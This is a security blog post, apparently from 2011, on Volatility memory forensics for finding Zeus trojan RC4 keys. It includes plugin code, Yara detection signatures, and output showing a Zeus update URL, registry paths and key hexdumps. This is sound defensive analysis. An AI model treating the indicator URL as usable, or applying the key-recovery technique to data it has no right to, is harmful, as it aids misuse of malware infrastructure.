src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-5007571858454628309</id><published>2011-09-25T21:39:00.059-06:00</published><updated>2011-09-30T06:17:42.168-06:00</updated><title type='text'>Abstract Memory Analysis: Zeus Encryption Keys</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Community Momentum is Rising!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The amount of research pouring out of the &lt;a href="http://code.google.com/p/volatility"&gt;Volatility&lt;/a&gt; community recently has been very exciting. Over the past few weeks, we've seen Russ McRee of &lt;span class="st"&gt;&lt;a href="http://twitter.com/#%21/holisticinfosec"&gt;HolisticInfoSec.org / toolsmith&lt;/a&gt; write about &lt;a href="http://holisticinfosec.blogspot.com/2011/09/toolsmith-memory-analysis-with-dumpit.html"&gt;Memory Analysis with DumpIt and Volatility&lt;/a&gt;. &lt;a href="http://www.reconstructer.org/"&gt;Frank Boldewin&lt;/a&gt; published a CSI:Internet article titled &lt;a href="http://www.h-online.com/security/features/CSI-Internet-A-trip-into-RAM-1339479.html"&gt;A Trip Into RAM&lt;/a&gt; that focused on detecting Spyeye. &lt;a href="http://twitter.com/#%21/bradarndt"&gt;@bradarndt&lt;/a&gt; wrote a lengthy &lt;a href="http://malwarereversing.wordpress.com/2011/09/23/zeus-analysis-in-volatility-2-0/"&gt;Zeus Analysis in Volatility 2.0&lt;/a&gt; just days after releasing a new plugin called &lt;a href="http://malwarereversing.wordpress.com/2011/09/17/volatility-2-0-plugin-vscan/"&gt;Vscan&lt;/a&gt; that automatically submits files extracted from memory to online virus scanners. evild3ad also &lt;a href="http://www.evild3ad.com/?p=956"&gt;wrote a piece on Zeus&lt;/a&gt; just days after providing a nice installation tutorial for &lt;a href="http://www.evild3ad.com/?p=907"&gt;Volatility 2.0 on Ubuntu&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Last week, Evilcry (&lt;a href="http://twitter.com/#%21/Blackmond_"&gt;@Blackmond_&lt;/a&gt;) updated his &lt;a href="http://quequero.org/Carberp_Reverse_Engineering#Carberp_Analysis_via_Volatility"&gt;Carberp Reverse Engineering&lt;/a&gt; post to show some of the many ways to detect Carberp in memory...my favorite being the detection of NT syscall hooks. Several of our primary developers have launched the &lt;a href="http://code.google.com/p/volatility/source/browse/#svn%2Fbranches%2Fwin64-support"&gt;64-bit branch of Volatility&lt;/a&gt; in preparation for the 2.1 release. &lt;a href="http://twitter.com/#%21/gleeda"&gt;@gleeda &lt;/a&gt;just published her &lt;a href="http://gleeda.blogspot.com/2011/09/volatility-20-timeliner-registryapi.html"&gt;Timeliner, Registry API, Event log plugins&lt;/a&gt; and &lt;a href="http://jls-scripts.googlecode.com/files/Timeliner%20Release%20Documentation.pdf"&gt;corresponding documentation&lt;/a&gt; (also makes a great tutorial on writing your own Volatility plugins).&lt;br /&gt;&lt;br /&gt;To keep the momentum going, I'll discuss one of the more abstract ways that you can leverage Volatility. &lt;/span&gt;&lt;span class="st"&gt;We'll take a look at how to locate and extract Zeus's  RC4 encryption keys, then use the keys to decrypt other configuration  data found in memory. &lt;/span&gt;&lt;span class="st"&gt;The plugins we'll discuss were written well over a year ago and kept private due to sensitivity of the key recovery methods. It wasn't exactly a secret previously (&lt;a href="http://blog.threatexpert.com/2010/05/config-decryptor-for-zeus-20.html"&gt;ThreatExpert&lt;/a&gt; disclosed some juicy details back in May) but it also wasn't common sense knowledge. Earlier today, TrustDefender announced their finding of &lt;a href="http://www.trustdefender.com/zeus-trojan-update-new-variants-based-on-leaked-zeus-source-code.html"&gt;Zeus Trojan Update - new variants based on leaked zeus source code&lt;/a&gt;. The new versions reportedly use AES instead of RC4 and &lt;span style="font-style: italic;"&gt;intentionally try to clear memory of the encryption keys&lt;/span&gt;. That means for certain we're not disclosing anything the attackers don't already know.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Zeus Versions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The earliest variants of Zeus (circa 2006) encrypted configurations using a very simple algorithm that I described in the original report called &lt;a href="http://mnin.org/write/ZeusMalware.pdf"&gt;[Prg] Malware Case Study&lt;/a&gt;. We won't discuss these versions anymore - they don't use encryption keys so there's nothing fun to try and recover.&lt;br /&gt;&lt;br /&gt;Near the end of 2008 (I'm going to say at approximately version 1.2.0), Zeus started using unique 256-byte RC4 keys embedded in each binary to decrypt configurations. It prevented analysts from using the key from one sample for decrypting the configuration used by another sample. I designed an unpacker-like tool that ran on live VMs and could extract the key without infecting the system (thus you could loop through hundreds of samples without reverting). Then you could decrypt configurations in a brute-force like manner, by cycling through all of the extracted keys until one "unlocked" it.&lt;br /&gt;&lt;br /&gt;The sample I'll be using that represents all Zeus versions after 1.2.0 but before 2.x is MD5 &lt;/span&gt;&lt;a href="http://www.virustotal.com/file-scan/report.html?id=c60a3d4910871bf0f0970bd93947bf26df25d9ac5954f14569ccd3972223a5b3-1235140255"&gt;b5709cd23d8ad91d79062ad63e8516ed&lt;/a&gt;.&lt;br /&gt;&lt;span class="st"&gt;&lt;br /&gt;The present day Zeus variants (2.x) still use RC4 encryption, but many also have a hardware-locking feature so that a sample recovered from one machine won't run on another machine (such as a sandbox or analysis system). These variants hide data in randomly generated registry keys and directories on the file system. They also use a separate 256-byte RC4 key for the configuration and for the stolen data files.&lt;br /&gt;&lt;br /&gt;The sample I'll be using that represents Zeus versions 2.x is MD5 &lt;/span&gt;&lt;a href="http://www.virustotal.com/file-scan/report.html?id=f56099b52d718608b82660a1644b002494426111010410d39691d0e4fc27c942-1317322040"&gt;b93fb47257f052f6bc99f0b96b718cd4&lt;/a&gt;.&lt;span class="st"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Recovering keys for Zeus versions &amp;gt; 1.20 and &amp;lt; 2.0 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These variants of Zeus define a data structure with the 256-byte RC4 key at offset 0x2A. The challenge is finding those exact 256 bytes in a memory dump that is potentially several gigabytes large. Talk about needle in a haystack, right? One of the more obvious solutions is look for patterns among the other structure members and develop a scanner with constraints. For example, if the member at offset 0 was always 0x12345678 and member at offset 4 was always between 0x30 and 0x45, then you have some criteria to start searching. However, that's not the road I took.&lt;br /&gt;&lt;br /&gt;While reversing some samples, I noticed a pointer to the base of the structure can be found at one of the most unexpected locations. As shown in the image below, after the Zeus "body" is injected into a process and fully unpacks itself, the pointer is in the Import Address Table (IAT) directly after the ws2_32!closesocket entry.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://4.bp.blogspot.com/-9QjqU6fwZAg/ToPzfjxQU_I/AAAAAAAACLw/03emRWOwzug/s1600/exhibit3-3.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 74px;" src="http://4.bp.blogspot.com/-9QjqU6fwZAg/ToPzfjxQU_I/AAAAAAAACLw/03emRWOwzug/s320/exhibit3-3.png" alt="" id="BLOGGER_PHOTO_ID_5657633280410801138" border="0" /&gt;&lt;/a&gt;&lt;span class="st"&gt;Whether this was done on purpose by the Zeus authors or  accidentally is beyond me. I don't know how things like this happen by  accident, nor do I know any reasons to do intentionally. However, since  hundreds of thousands of samples were created using the same Zeus  builder, they all share the same secret. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now that we know what we're looking for, let's discuss how to find it. Here is a brief description of the steps:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1. Find Zeus&lt;/span&gt;. We'll cycle through the active process list. For each process, we'll traverse the VAD tree. For every memory segment, we'll check if there is injected code (i.e. a private, virtually-allocated region with VadS tag and no file mapping). This is all rather simple, since its exactly how &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#malfind"&gt;malfind&lt;/a&gt; has located Zeus infections for years.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2. Find closesocket in the IAT.&lt;/span&gt; This step sounds straight-forward, but its not. Due to Zeus' packing and obfuscation, the names of imported functions are not always available. Thus, we can't parse the IAT looking for "closesocket" as normal PE header tools do. Instead, we leverage Volatility's &lt;a href="http://code.google.com/p/volatility/wiki/CommandReference#impscan"&gt;ImpScan&lt;/a&gt; plugin, which scans for calls to imported functions using a "reverse lookup" kind of algorithm (described fully in &lt;a href="http://www.amazon.com/dp/0470613033?tag=malwacookb-20&amp;amp;camp=14573&amp;amp;creative=327641&amp;amp;linkCode=as1&amp;amp;creativeASIN=0470613033&amp;amp;adid=0TYYEKYNCMHH9X61WQWH&amp;amp;"&gt;Malware Analyst's Cookbook&lt;/a&gt; Recipe 16-8: Scanning for Imported Functions with Impscan).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3. Find the structure pointer&lt;/span&gt;. As previously described, the pointer is the next 4 bytes after the closesocket entry. So we dereference those 4 bytes as a pointer, add 0x2A to reach the RC4 key structure member, and read 256-bytes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4. Write the plugin&lt;/span&gt;. Now we know what we need to do. Let's do it! We'll need to import volatility.obj for access to the Object class, volatility.win32.tasks for access to process enumeration, volatility.utils for access to the Hexdump function, and volatility.plugins.malware for the ability to inherit from the ImpScan plugin.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;import volatility.obj as obj&lt;br /&gt;import volatility.utils as utils&lt;br /&gt;import volatility.win32.tasks as tasks&lt;br /&gt;import volatility.plugins.malware as malware&lt;/span&gt;&lt;/pre&gt;Now we define a class that inherits from malware.ImpScan. The name of our class (ZeusScan1) will automatically become the name of the command that you type, for example "python vol.py zeusscan1"&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;class ZeusScan1(malware.ImpScan):&lt;br /&gt;"Scan for and dump Zeus RC4 keys"&lt;br /&gt;&lt;br /&gt;def __init__(self, config, *args):&lt;br /&gt;   malware.ImpScan.__init__(self, config, *args)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;A majority of the work happens in the calculate function. As described above, we begin by iterating through active processes. For each process, we acquire an address space (an object referring to the process's private virtual memory) and also enumerate the loaded DLLs which we'll need to locate ws2_32.dll.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;    def calculate(self):&lt;br /&gt;   addr_space = malware.get_malware_space(self._config)&lt;br /&gt;&lt;br /&gt;   RC4_KEYSIZE = 0x102&lt;br /&gt;&lt;br /&gt;   # cycle through the active processes&lt;br /&gt;   for p in self.filter_tasks(tasks.pslist(addr_space)):&lt;br /&gt;&lt;br /&gt;       # get the process address space&lt;br /&gt;       ps_ad = p.get_process_address_space()&lt;br /&gt;       if ps_ad == None:&lt;br /&gt;           continue&lt;br /&gt;&lt;br /&gt;       # enumerate DLLs (inherited from DllList)&lt;br /&gt;       mods = self.list_modules(p&lt;/span&gt;&lt;/pre&gt;Next we traverse the VAD segments and filter by private allocations with no file mapping and 'MZ' at the base. Any segments that satisfy this criteria are almost certainly injected Zeus binaries.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;           # traverse the VAD&lt;br /&gt;       for vad in p.VadRoot.traverse():&lt;br /&gt;&lt;br /&gt;           if vad == None:&lt;br /&gt;               continue&lt;br /&gt;&lt;br /&gt;           # only looking for short VADs (non-memory mapped)&lt;br /&gt;           if (vad.Tag != "VadS"):&lt;br /&gt;               continue&lt;br /&gt;&lt;br /&gt;           # only looking for private, virtually-alocated memory&lt;br /&gt;           if vad.u.VadFlags.PrivateMemory == 0:&lt;br /&gt;               continue&lt;br /&gt;&lt;br /&gt;           # find the start and end range&lt;br /&gt;           start = vad.get_start()&lt;br /&gt;           end   = vad.get_end()&lt;br /&gt;           data  = vad.get_data()&lt;br /&gt;&lt;br /&gt;           # check for PE headers at the base&lt;br /&gt;           if data[0:2] != 'MZ':&lt;br /&gt;               continue&lt;/span&gt;&lt;/pre&gt;Now comes Step 2. We need to find where closesocket is located in process memory. This is done by first locating ws2_32.dll and then calling getprocaddress() - an extension to the module that parses its EAT and returns the requested function's virtual address.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;               # locate the winsock2 module&lt;br /&gt;           winsock = malware.find_module_by_name(mods, "ws2_32.dll")&lt;br /&gt;&lt;br /&gt;           if winsock == None:&lt;br /&gt;               continue&lt;br /&gt;&lt;br /&gt;           # resolve the address of closesocket export&lt;br /&gt;           closesocket = winsock.getprocaddress("closesocket")&lt;br /&gt;&lt;br /&gt;           if closesocket == None:&lt;br /&gt;               continue&lt;/span&gt;&lt;/pre&gt;The next thing we do is use call_scan which is inherited from malware.ImpScan. It is a generator that yields tuples in the following order: address of the CALL instruction, constant (IAT entry address), and call destination (the API function address). To clear up any confusion around these values, let's go over a quick example. Say you have the following code in a disassembly ".text:00120408 CALL DWORD PTR:[0010022c] ; kernel32.CreateFileW".&lt;br /&gt;&lt;br /&gt;In the example, 00120408 is the address of the CALL instruction. 0010022c is the constant. If you dereference the constant, you'll find a DWORD sized value that points to kernel32.CreateFileW. So what we're doing is scanning for CALLs that lead to ws2_32!closesocket. We're taking the constant, adding 4 bytes, and then using the DWORD at that location as a pointer to the structure that contains the RC4 key. Without further ado, here's the rest of the code:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;               # scan for calls to imported functions (inherited from ImpScan)&lt;br /&gt;           calls = list(self.call_scan(ps_ad, data, start))&lt;br /&gt;&lt;br /&gt;           for (addr_of_call, const, call_dest) in calls:&lt;br /&gt;&lt;br /&gt;               if call_dest != closesocket:&lt;br /&gt;                   continue&lt;br /&gt;&lt;br /&gt;               # read the DWORD directly after closesocket&lt;br /&gt;               struct_base = obj.Object('Pointer', offset = const + 4, vm = ps_ad)&lt;br /&gt;&lt;br /&gt;               # to be valid, it must point within the vad segment&lt;br /&gt;               if (struct_base &amp;lt; start) or (struct_base &amp;gt; (start + end)):&lt;br /&gt;                   continue&lt;br /&gt;&lt;br /&gt;               # grab the key data&lt;br /&gt;               key = ps_ad.read(struct_base + 0x2a, RC4_KEYSIZE)&lt;br /&gt;&lt;br /&gt;               # greg's sanity check&lt;br /&gt;               if len(key) != RC4_KEYSIZE or key[-2:] != "\x00\x00":&lt;br /&gt;                   continue&lt;br /&gt;&lt;br /&gt;               yield p, struct_base, key&lt;/span&gt;&lt;/pre&gt;We yield 3 values from the calculate function. These 3 values are automatically passed to render_text if you're using text-mode output. Thus we also must define a render_text method in our plugin.&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;    def render_text(self, outfd, data):&lt;br /&gt;&lt;br /&gt;   for p, struct_base, key in data:&lt;br /&gt;       hex = "\n".join(["{0:#010x}  {1:&amp;lt;48}  {2}".format(struct_base + 0x2a + o, h, ''.join(c)) for o, h, c in utils.Hexdump(key)])&lt;br /&gt;       outfd.write("Process: {0} {1}\n".format(p.UniqueProcessId, p.ImageFileName))&lt;br /&gt;       outfd.write(hex)&lt;br /&gt;       outfd.write("\n")&lt;/span&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;5. Test the plugin.&lt;/span&gt; When you run zeusscan1 against a memory dump infected with one of the these Zeus samples, you'll see output like this:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;span style="font-weight: bold;"&gt;python vol.py -f XPSP3-0e4e1fd4.vmem zeusscan1&lt;/span&gt;&lt;br /&gt;Volatile Systems Volatility Framework 2.1_alpha&lt;br /&gt;&lt;br /&gt;Process: 624 winlogon.exe&lt;br /&gt;0x00ac602a  76 e6 ce 65 3e d9 5e 0c 0a 8f 14 81 f6 dc ee 2f   v..e&amp;gt;.^......../&lt;br /&gt;0x00ac603a  bd 1a 10 0d 98 63 61 34 9d 8e 75 1c b6 b8 b7 56   .....ca4..u....V&lt;br /&gt;0x00ac604a  4a bb d1 99 37 a2 40 4f e0 77 80 52 3f db c4 73   J...7.@O.w.R?..s&lt;br /&gt;0x00ac605a  69 21 96 eb 0b 28 7f 90 d2 e5 46 d0 39 2a 51 43   i!...(....F.9*QC&lt;br /&gt;0x00ac606a  ca 1e a0 62 8c fe c8 15 78 8b 9b d4 2d a4 da ef   ...b....x...-...&lt;br /&gt;0x00ac607a  47 66 b1 ec 93 c1 87 e3 a9 b9 4c 9f 6a 86 20 d3   Gf........L.j...&lt;br /&gt;0x00ac608a  a5 8d df 72 3b 44 e1 cb 85 92 04 74 f2 84 33 a6   ...r;D.....t..3.&lt;br /&gt;0x00ac609a  f3 ae 2b c5 94 f5 7c 50 c9 1b de 83 ad cc 68 60   ..+...|P......h`&lt;br /&gt;0x00ac60aa  c2 6e 09 c7 a7 16 fa d6 9e bf b2 ab 32 ed 3c 36   .n..........2.&amp;lt;6&lt;br /&gt;0x00ac60ba  2e b3 91 0e 05 08 af f1 c6 49 82 95 dd ac 5f 3d   .........I...._=&lt;br /&gt;0x00ac60ca  29 e8 a8 bc 88 9c 24 c3 17 79 6c f9 fc 1d b4 19   ).....$..yl.....&lt;br /&gt;0x00ac60da  b5 f0 89 ff c0 03 d8 48 57 d5 e2 67 35 7b f4 a1   .......HW..g5{..&lt;br /&gt;0x00ac60ea  3a 30 02 be 42 cd e4 31 fb 7d 4d 4b 7a 26 5a 45   :0..B..1.}MKz&amp;amp;ZE&lt;br /&gt;0x00ac60fa  38 64 55 13 54 ba 00 8a f8 07 ea 27 71 e9 53 cf   8dU.T......'q.S.&lt;br /&gt;0x00ac610a  f7 70 23 58 06 01 5d 6d e7 4e 5b 22 12 6f 97 aa   .p#X..]m.N[".o..&lt;br /&gt;0x00ac611a  59 11 5c d7 25 41 18 7e 2c fd b0 a3 0f 6b 9a 1f   Y.\.%A.~,....k..&lt;br /&gt;0x00ac612a  00 00                                             ..&lt;br /&gt;&lt;br /&gt;Process: 668 services.exe&lt;br /&gt;0x0075602a  76 e6 ce 65 3e d9 5e 0c 0a 8f 14 81 f6 dc ee 2f   v..e&amp;gt;.^......../&lt;br /&gt;0x0075603a  bd 1a 10 0d 98 63 61 34 9d 8e 75 1c b6 b8 b7 56   .....ca4..u....V&lt;br /&gt;0x0075604a  4a bb d1 99 37 a2 40 4f e0 77 80 52 3f db c4 73   J...7.@O.w.R?..s&lt;br /&gt;0x0075605a  69 21 96 eb 0b 28 7f 90 d2 e5 46 d0 39 2a 51 43   i!...(....F.9*QC&lt;br /&gt;0x0075606a  ca 1e a0 62 8c fe c8 15 78 8b 9b d4 2d a4 da ef   ...b....x...-...&lt;br /&gt;0x0075607a  47 66 b1 ec 93 c1 87 e3 a9 b9 4c 9f 6a 86 20 d3   Gf........L.j...&lt;br /&gt;0x0075608a  a5 8d df 72 3b 44 e1 cb 85 92 04 74 f2 84 33 a6   ...r;D.....t..3.&lt;br /&gt;0x0075609a  f3 ae 2b c5 94 f5 7c 50 c9 1b de 83 ad cc 68 60   ..+...|P......h`&lt;br /&gt;0x007560aa  c2 6e 09 c7 a7 16 fa d6 9e bf b2 ab 32 ed 3c 36   .n..........2.&amp;lt;6&lt;br /&gt;0x007560ba  2e b3 91 0e 05 08 af f1 c6 49 82 95 dd ac 5f 3d   .........I...._=&lt;br /&gt;0x007560ca  29 e8 a8 bc 88 9c 24 c3 17 79 6c f9 fc 1d b4 19   ).....$..yl.....&lt;br /&gt;0x007560da  b5 f0 89 ff c0 03 d8 48 57 d5 e2 67 35 7b f4 a1   .......HW..g5{..&lt;br /&gt;0x007560ea  3a 30 02 be 42 cd e4 31 fb 7d 4d 4b 7a 26 5a 45   :0..B..1.}MKz&amp;amp;ZE&lt;br /&gt;0x007560fa  38 64 55 13 54 ba 00 8a f8 07 ea 27 71 e9 53 cf   8dU.T......'q.S.&lt;br /&gt;0x0075610a  f7 70 23 58 06 01 5d 6d e7 4e 5b 22 12 6f 97 aa   .p#X..]m.N[".o..&lt;br /&gt;0x0075611a  59 11 5c d7 25 41 18 7e 2c fd b0 a3 0f 6b 9a 1f   Y.\.%A.~,....k..&lt;br /&gt;0x0075612a  00 00                                             ..&lt;/span&gt;&lt;/pre&gt;And there you have it. The plugin prints a hexdump of the 256-byte RC4 key unique to the Zeus variant that has infected the machine. Since its the same version of Zeus injected into winlogon.exe and services.exe, the keys you see are going to match.&lt;br /&gt;&lt;br /&gt;&lt;span class="st"&gt;&lt;span style="font-weight: bold;"&gt;Recovering keys for Zeus versions &amp;gt;= 2.0 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="st"&gt;Welcome to the real fun. I'm not going to dive deep into the details of recovering RC4 keys from these versions, because Sergei &lt;/span&gt;&lt;span class="post-author vcard"&gt;&lt;span class="fn"&gt;Shevchenko already covered the principles in his blog &lt;a href="http://blog.threatexpert.com/2010/05/config-decryptor-for-zeus-20.html"&gt;Config Decryptor for ZeuS 2.0&lt;/a&gt;. Basically, we're looking for sequences of instructions that reference global variables, which can then lead us to the RC4 key, encrypted configuration data, and other information. In the following disassembly, many of the global variables that we need have been named.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://4.bp.blogspot.com/-z80uoPMUxxM/ToTMD8TmItI/AAAAAAAACL4/58BtOSoi2fM/s1600/Gen.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 262px;" src="http://4.bp.blogspot.com/-z80uoPMUxxM/ToTMD8TmItI/AAAAAAAACL4/58BtOSoi2fM/s320/Gen.png" alt="" id="BLOGGER_PHOTO_ID_5657871399984177874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The function named "signature_function" can be expressed using wildcards like this:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;PUSH 102h&lt;br /&gt;LEA  EAX, [ESP+????????]&lt;br /&gt;PUSH EAX&lt;br /&gt;LEA  EAX, [ESP+??]&lt;br /&gt;PUSH EAX&lt;br /&gt;CALL ????????        ; custom_memcpy&lt;br /&gt;MOV  EAX, 1E6h&lt;br /&gt;PUSH EAX&lt;br /&gt;PUSH OFFSET ???????? ; real_rc4_key&lt;/span&gt;&lt;/pre&gt;There may be variations due to compiler differences, so we also should look for this:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;PUSH 102h&lt;br /&gt;LEA  EAX, [EBP-????????]&lt;br /&gt;PUSH EAX&lt;br /&gt;LEA  EAX, [EBP-????????]&lt;br /&gt;PUSH EAX&lt;br /&gt;CALL ????????        ; custom_memcpy&lt;br /&gt;MOV  EAX, 1E6h&lt;br /&gt;PUSH EAX&lt;br /&gt;PUSH OFFSET ???????? ; real_rc4_key&lt;/span&gt;&lt;/pre&gt;As for the function named "decode_config_data", it can be expressed like this:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;PUSH ESI&lt;br /&gt;MOV  EDX, ????0000   ; config size (immediate)&lt;br /&gt;PUSH EDX&lt;br /&gt;PUSH OFFSET ???????? ; config_data&lt;br /&gt;PUSH EAX&lt;br /&gt;CALL ????????        ; custom_memcpy&lt;br /&gt;MOV  ESI, ????????   ; last_section_rva&lt;br /&gt;MOV  ECX, ????????   ; imagebase&lt;/span&gt;&lt;/pre&gt;There are several variations of these patterns, once again, due to compiler differences and usage of general purpose registers. But its nothing that &lt;a href="http://code.google.com/p/yara-project/"&gt;Yara&lt;/a&gt; rules can't handle. By converting the above instructions into opcodes, we have the following signatures:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;zeus_key_sigs = {&lt;br /&gt;'namespace1':'rule z1 {strings: $a = {56 BA ?? ?? 00 00 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B 0D ?? ?? ?? ??} condition: $a}',&lt;br /&gt;'namespace5':'rule z5 {strings: $a = {56 BA ?? ?? 00 00 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 03 0D ?? ?? ?? ??} condition: $a}',&lt;br /&gt;'namespace2':'rule z2 {strings: $a = {55 8B EC 51 A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 56 8D 34 01 A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ??} condition: $a}',&lt;br /&gt;'namespace3':'rule z3 {strings: $a = {68 02 01 00 00 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ?? ?? ?? ?? B8 E6 01 00 00 50 68 ?? ?? ?? ??} condition: $a}',&lt;br /&gt;'namespace4':'rule z4 {strings: $a = {68 02 01 00 00 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 E6 01 00 00 50 68 ?? ?? ?? ??} condition: $a}'&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt;For plugin testing purposes, I created a memory dump infected with &lt;a href="http://code.google.com/p/malwarecookbook/source/browse/trunk/zeusscan/zeus2x4.vmem.zip"&gt;4 different 2.x samples&lt;/a&gt;. But wait a minute, doesn't Zeus check for mutexes and back off if a system is already infected? Well, yes, it does...but I paused each sample in a debugger after it unpacked and before it could exit (that's easier than creating 4 separate memory dumps).&lt;br /&gt;&lt;br /&gt;Let's give her a whirl! You should see the name of the process housing the injected Zeus code, along with the URL that Zeus contacts for an update, the local system's unique identifier (computer name plus some random characters), the XOR keys, the randomly generated registry keys and value names that Zeus uses for storing data, and the randomly generated file paths and file names for Zeus executables and stolen data files. Oh, and the two RC4 keys ;-)&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size:85%;"&gt;$ &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;python vol.py -f zeus2x4.vmem zeusscan2&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;--------------------------------------------------&lt;br /&gt;Process:     wuauclt.exe&lt;br /&gt;Pid:         940&lt;br /&gt;Address:     0xD80000&lt;br /&gt;URL:         http://193.43.134.14/eu2.bin&lt;br /&gt;Identifier:  JASONRESACC69_7875768F16073AAF&lt;br /&gt;Mutant key:  0x17703072&lt;br /&gt;XOR key:     0x2006B8FE&lt;br /&gt;Registry:    HKEY_CURRENT_USER\SOFTWARE\Microsoft\Izozo&lt;br /&gt;Value 1:     Kealtuuxd&lt;br /&gt;Value 2:     Yrdii&lt;br /&gt;Value 3:     Kebooqu&lt;br /&gt;Executable:  Obyt\ihah.exe&lt;br /&gt;Data file:   Ebupzu\uzugl.dat&lt;br /&gt;&lt;br /&gt;Config RC4 Key:&lt;br /&gt;0x00000000   4a ba 2c 63 eb 7c fc 45 c4 f3 b6 2d 31 29 21 2e    J.,c.|.E...-1)!.&lt;br /&gt;0x00000010   53 0f 3f ef 9a 2a f8 82 96 6b e1 a2 3b 5f 34 fd    S.?..*...k..;_4.&lt;br /&gt;0x00000020   a6 02 cc 39 0b 16 40 33 1f a1 dc af 93 9b 5b 94    ...9..@3......[.&lt;br /&gt;0x00000030   68 62 84 46 ca 64 8d 43 13 d4 d9 72 00 5c 2b bc    hb.F.d.C...r..+.&lt;br /&gt;0x00000040   f6 d7 88 91 24 9f bd 1e 7a 07 c5 6e 1a 4e 90 92    ....$...z..n.N..&lt;br /&gt;0x00000050   c1 42 0c 75 47 3a 9e 1d c2 ec 0d ed b8 71 b4 ab    .B.uG:.......q..&lt;br /&gt;0x00000060   e6 5d e3 14 48 b9 e9 e8 b2 10 ee f4 e2 2f a4 09    .]..H......../..&lt;br /&gt;0x00000070   54 b7 95 be 50 99 8b 87 8f 37 9d fa f2 d5 b1 18    T...P....7......&lt;br /&gt;0x00000080   01 db 3c cf aa 70 e5 15 9c 5a 26 27 de da d8 d6    ..&amp;lt;..p...Z&amp;amp;'....&lt;br /&gt;0x00000090   59 a8 1b 30 cd 6c 78 c0 e7 c6 81 22 86 17 38 a7    Y..0.lx...."..8.&lt;br /&gt;0x000000a0   df 41 ad 4d 44 11 76 a3 52 a9 b3 6d 51 05 c9 b5    .A.MD.v.R..mQ...&lt;br /&gt;0x000000b0   85 49 77 c7 23 f7 3e 8a 03 69 ac 3d 4c 89 ff 58    .Iw.#.&amp;gt;..i.=L..X&lt;br /&gt;0x000000c0   dd 57 5e 97 98 f1 65 c3 7d f0 e0 20 e4 25 7e 7b    .W^...e.}.. .%~{&lt;br /&gt;0x000000d0   b0 06 4b a5 c8 80 f9 f5 55 1c 7f 83 73 d1 66 fe    ..K.....U...s.f.&lt;br /&gt;0x000000e0   8c 28 19 4f 60 36 0a 8e ce ae fb 0e 74 35 79 56    .(.O`6......t5yV&lt;br /&gt;0x000000f0   a0 08 ea bb 67 d3 d0 6a 12 6f 32 bf d2 04 cb 61    ....g..j.o2....a&lt;br /&gt;0x00000100   00 00                                              ..&lt;br /&gt;&lt;br /&gt;Credential RC4 Key:&lt;br /&gt;0x00000000   6f e4 94 f2 f1 5e 5c c1 8c e8 66 c5 13 2a 23 39    o....^....f..*#9&lt;br /&gt;0x00000010   84 36 6a 83 b2 55 6c 11 5a f3 b6 20 07 6d ba de    .6j..Ul.Z.. .m..&lt;br /&gt;0x00000020   52 8e 34 bf 8a 05 0f 64 35 29 cb 5f ff 00 87 fc    R.4....d5)._....&lt;br /&gt;0x00000030   b5 5b 67 b8 eb 1a 0e 1f 32 ae 54 3a 88 ed c3 51    .[g.....2.T:...Q&lt;br /&gt;0x00000040   40 14 3e 53 dc 7c a7 0b 79 26 e5 45 99 7d 1c d0    @.&amp;gt;S.|..y&amp;amp;.E.}..&lt;br /&gt;0x00000050   90 8f 80 95 71 58 41 5d f9 af 9e a1 6e ef 25 4e    ....qXA]....n.%N&lt;br /&gt;0x00000060   48 2d b1 bd 33 ab d3 b7 4d 10 7e 44 65 7b cd 2f    